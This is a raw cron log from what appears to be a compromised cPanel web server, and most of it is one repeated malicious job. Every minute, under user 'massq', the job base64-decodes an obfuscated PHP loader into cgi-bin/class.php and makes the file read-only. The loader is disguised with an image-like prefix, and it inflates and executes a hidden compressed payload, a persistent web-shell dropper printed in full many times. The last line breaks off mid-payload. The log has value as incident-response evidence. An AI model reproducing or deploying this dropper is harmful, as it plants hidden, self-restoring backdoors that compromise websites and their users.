Apr 11 03:36:01 server CROND[12651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:37:01 server CROND[12783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:38:01 server CROND[12883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:39:01 server CROND[13107]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 03:39:01 server CROND[13108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:40:01 server CROND[13292]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:40:01 server CROND[13294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:40:01 server CROND[13293]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:40:01 server CROND[13295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:40:18 server run-parts(/etc/cron.daily)[13505]: finished maldet
Apr 11 03:40:18 server run-parts(/etc/cron.daily)[12201]: starting man-db.cron
Apr 11 03:40:19 server run-parts(/etc/cron.daily)[13585]: finished man-db.cron
Apr 11 03:40:19 server anacron[9111]: Job `cron.daily' terminated
Apr 11 03:40:19 server anacron[9111]: Normal exit (1 job run)
Apr 11 03:41:01 server CROND[15298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:42:01 server CROND[15369]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 03:42:01 server CROND[15370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:43:01 server CROND[15431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:44:01 server CROND[15498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:45:01 server CROND[15662]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:45:01 server CROND[15663]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:45:01 server CROND[15664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:46:01 server CROND[15782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:47:01 server CROND[15849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:48:01 server CROND[15912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:49:01 server CROND[15982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyo